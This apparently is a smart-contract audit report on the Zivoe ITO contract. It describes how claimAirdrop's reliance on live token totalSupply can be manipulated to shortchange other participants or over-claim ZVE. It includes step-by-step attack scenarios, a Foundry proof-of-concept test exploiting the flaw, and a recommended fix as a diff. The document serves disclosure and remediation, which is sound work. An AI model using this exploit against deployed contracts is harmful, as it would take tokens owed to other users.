Jovial Shamrock Skunk

high

# Vulnerability in ClaimAirdrop Function Risks Incorrect ZVE Distribution and Potential Drain from ZivoeRewardsVesting Contract

## Summary
A BlackHat could exploit claimAirdrop function and cause Incorrect ZVE Distribution for ITO participants and possibly drain ZVE from ZivoeRewardsVesting contract under specific conditions.

## Vulnerability Detail
`uint256 lower = IERC20(IZivoeGlobals_ITO(GBL).zSTT()).totalSupply() * 3  +(IERC20(IZivoeGlobals_ITO(GBL).zJTT()).totalSupply());`

totalSupply() is directly used to get the total supply of zSTT and zJTT tokens, After the ZivoeITO ends  the value of totalSupply() can be increased by `depositSenior` or `depositJunior` from `ZivoeTranches.sol` and totalSupply() can be decreased by Submit a Redemption Request which will burn the zSTT/zJTT token and reedem the stableCoin ,thus manipulating the value of `lower` variable thus resulting in the manipulation of  amount vested in ZivoeRewardsVesting contract.


This results in the following attack scenarios 
1. As soon as ITO ends Blackhat calls claimAirdrop for himself.
2. Blackhat inflates the totalsupply of  zSTT and zJTT by depositing a very large amount by calling depositSenior() from ZivoeTranches.sol .
3. Now blackhat  calls claimAirdrop on behalf of all the user that has particapted in the ITO.
4. Because of inflated totalSupply of zSTT and zJTT all the other participants will receive far less zve than blackhat.

>                                                        OR 
1. BlackHat repeats Step 2,3 and 4 from above scenario.
2. BlackHat then redeems the stableCoin for the zSTT and zJTT thus decreasing the totalSupply of zSTT and zJTT.
3. BlackHat then waits further for totalSupply to decrease to a point where  the totalSupply of zSTT and zJTT is at its lowest then by calling claimAirdrop It will  become possible for Blackhat to drain ZVE from  ZivoeRewardsVesting contract.

## Impact
1. A BlackHat can exploit the contract and  cause all participants of ZivoeITO to receive far less token than they should receive
2. A BlackHat could call claimAirdrop for himself when the totalSupply of zSTT and zJTT is at its lowest and this will unlock the condition where blackhat would be claim far more ZVE token than should be allowed possibly drain all the ZVE tokens from  ZivoeRewardsVesting contract.

## Code Snippet
https://github.com/sherlock-audit/2024-03-zivoe/blob/d4111645b19a1ad3ccc899bea073b6f19be04ccd/zivoe-core-foundry/src/ZivoeITO.sol#L226-228
```solidity
function claimAirdrop(address depositor) external returns (
        uint256 zSTTClaimed, uint256 zJTTClaimed, uint256 ZVEVested
    ) {
        require(end != 0, "ZivoeITO::claimAirdrop() end == 0"); //ok only claimable after 30 days from commence
        require(block.timestamp > end || migrated, "ZivoeITO::claimAirdrop() block.timestamp <= end && !migrated"); //ok
        require(!airdropClaimed[depositor], "ZivoeITO::claimAirdrop() airdropClaimed[depositor]"); //ok
        require(
            seniorCredits[depositor] > 0 || juniorCredits[depositor] > 0,
            "ZivoeITO::claimAirdrop() seniorCredits[depositor] == 0 && juniorCredits[depositor] == 0"
        );

        airdropClaimed[depositor] = true; //ok

        // Temporarily store credit values, decrease them to 0 immediately after.
        uint256 seniorCreditsOwned = seniorCredits[depositor]; //ok
        uint256 juniorCreditsOwned = juniorCredits[depositor]; //ok

        seniorCredits[depositor] = 0; //ok
        juniorCredits[depositor] = 0; //ok

        // Calculate proportion of $ZVE awarded based on $pZVE credits.
        uint256 upper = seniorCreditsOwned + juniorCreditsOwned;
        uint256 middle = IERC20(IZivoeGlobals_ITO(GBL).ZVE()).totalSupply() / 20; // fixed value
        uint256 lower = IERC20(IZivoeGlobals_ITO(GBL).zSTT()).totalSupply() * 3 + (
            IERC20(IZivoeGlobals_ITO(GBL).zJTT()).totalSupply() // calculating lower with a dynamic values which can be controlled by user
        );
        emit AirdropClaimed(depositor, seniorCreditsOwned / 3, juniorCreditsOwned, upper * middle / lower);

        IERC20(IZivoeGlobals_ITO(GBL).zJTT()).safeTransfer(depositor, juniorCreditsOwned); //ok
        IERC20(IZivoeGlobals_ITO(GBL).zSTT()).safeTransfer(depositor, seniorCreditsOwned / 3); //ok
        if (upper * middle / lower > 0) {
            ITO_IZivoeRewardsVesting(IZivoeGlobals_ITO(GBL).vestZVE()).createVestingSchedule(
                depositor, 0, 360, upper * middle / lower, false
            );
        } 
        return (seniorCreditsOwned / 3, juniorCreditsOwned, upper * middle / lower); //ok
    }
```
## POC
* For 1st attack Scenario
```solidity
function test_Attack_ClaimAirdrop() public {
        //commence the ITO
        zvl.try_commence(address(ITO));
        address asset = USDC;
        uint256 amount = 1000e6;
        //mints aand approve tokens
        mint("USDC", address(sam), amount);
        assert(sam.try_approveToken(asset, address(ITO), amount));
        mint("USDC", address(sue), amount);
        assert(sue.try_approveToken(asset, address(ITO), amount));
        mint("USDC", address(jim), amount);
        assert(jim.try_approveToken(asset, address(ITO), amount));
        mint("USDC", address(bob), amount);
        assert(bob.try_approveToken(asset, address(ITO), amount));

        //time warped to exactly 1 second after ITO starts
        hevm.warp(ITO.end() - 30 days + 1 seconds);

        // ito participants deposit tokens during the duration of ITO
        assert(sam.try_depositSenior(address(ITO), amount, asset));
        assert(sue.try_depositSenior(address(ITO), amount, asset));
        assert(jim.try_depositSenior(address(ITO), amount, asset));
        assert(bob.try_depositSenior(address(ITO), amount, asset));

        // conclude the ITO
        hevm.warp(ITO.end() +  1 seconds);
        ITO.migrateDeposits();

        //  A blackhat notices this vulneraility
        // 1.) blackhat calls claimAirdrop for himself.
        vm.startPrank(address(bob));
        (,,uint256 ZVEVested_bob_blackHAt)=ITO.claimAirdrop(address(bob));
        console.log("ZVEVested_bob by blackHAt",ZVEVested_bob_blackHAt);

        // 2.) blackhat inflates the totalsupply zSTT and zJTT by calling depositSenior() from ZivoeTranches.sol .
        mint("USDC", address(bob), 1000000e6);
        assert(bob.try_approveToken(asset, address(ZVT), 1000000e6));
        // mints zSTT by calling depositSenior of ZiveoTranches.sol and increases the supply.
        assert(bob.try_depositSenior(address(ZVT), 1000000e6, asset));

        // 3.) now blackhat  calls claimAirdrop on behalf of all the user that has particapted in the ITO.
        (,,uint256 ZVEVested_sam)=ITO.claimAirdrop(address(sam));
        console.log("ZVEVested by sam",ZVEVested_sam);
        (,,uint256 ZVEVested_sue)=ITO.claimAirdrop(address(sue));
        console.log("ZVEVested by sue",ZVEVested_sue);
        (,,uint256 ZVEVested_jim)=ITO.claimAirdrop(address(jim));
        console.log("ZVEVested by jim",ZVEVested_jim);
        vm.stopPrank();
        // 4.) This results in other ITO participants to receive far less ZVE than they should have received.
        // bob,jim, sam and sue deposited the same amount in ZivoeITO and owned same amount of pZVE but  bob received more amount than others .
        // sue and others  should also have received same amount as bob .
        assertGt(ZVEVested_bob_blackHAt,ZVEVested_sam);
        assertGt(ZVEVested_bob_blackHAt,ZVEVested_sue);
        assertGt(ZVEVested_bob_blackHAt,ZVEVested_jim);
    }
```

## Tool used

Manual Review

## Recommendation
Instead of using totalSupply directly in claimAirdrop , cache the value of totalSupply in depositJunior and depositSenior and use that cached value to calculate the `lower` parameter value.
```diff
contract ZivoeITO is Context {

    using SafeERC20 for IERC20;
    
    // ---------------------
    //    State Variables
    // ---------------------
//...//

+ uint256 public totalSupplyzSTT;
+ uint256 public totalSupplyzJTT;

    uint256 private constant BIPS = 10000;

    function claimAirdrop(address depositor) external returns (
        uint256 zSTTClaimed, uint256 zJTTClaimed, uint256 ZVEVested
    ) {
//...//
        // Calculate proportion of $ZVE awarded based on $pZVE credits.
        uint256 upper = seniorCreditsOwned + juniorCreditsOwned;
        uint256 middle = IERC20(IZivoeGlobals_ITO(GBL).ZVE()).totalSupply() / 20;
-        uint256 lower = IERC20(IZivoeGlobals_ITO(GBL).zSTT()).totalSupply() * 3 + (
-            IERC20(IZivoeGlobals_ITO(GBL).zJTT()).totalSupply()
-       );
+       uint256 lower = totalSupplyzSTT * 3 + totalSupplyzJTT;

       //...//
        return (seniorCreditsOwned / 3, juniorCreditsOwned, upper * middle / lower);
    }

    /// @notice Deposit stablecoins, mint Zivoe Junior Tranche ($zJTT) tokens and increase airdrop credits.
    /// @dev    This function MUST only be callable during the ITO, and with accepted stablecoins.
    /// @param  amount The amount to deposit.
    /// @param  asset The asset to deposit.
    function depositJunior(uint256 amount, address asset) public {
       //...//
        IERC20(asset).safeTransferFrom(caller, address(this), amount);
        IERC20Mintable_ITO(IZivoeGlobals_ITO(GBL).zJTT()).mint(address(this), standardizedAmount);
+      totalSupplyzJTT = IERC20(IZivoeGlobals_ITO(GBL).zJTT()).totalSupply();
    }


    function depositSenior(uint256 amount, address asset) public {
        //...//
        IERC20(asset).safeTransferFrom(caller, address(this), amount);
        IERC20Mintable_ITO(IZivoeGlobals_ITO(GBL).zSTT()).mint(address(this), standardizedAmount);
+      totalSupplyzSTT = IERC20(IZivoeGlobals_ITO(GBL).zSTT()).totalSupply();
    }
//...//

}
```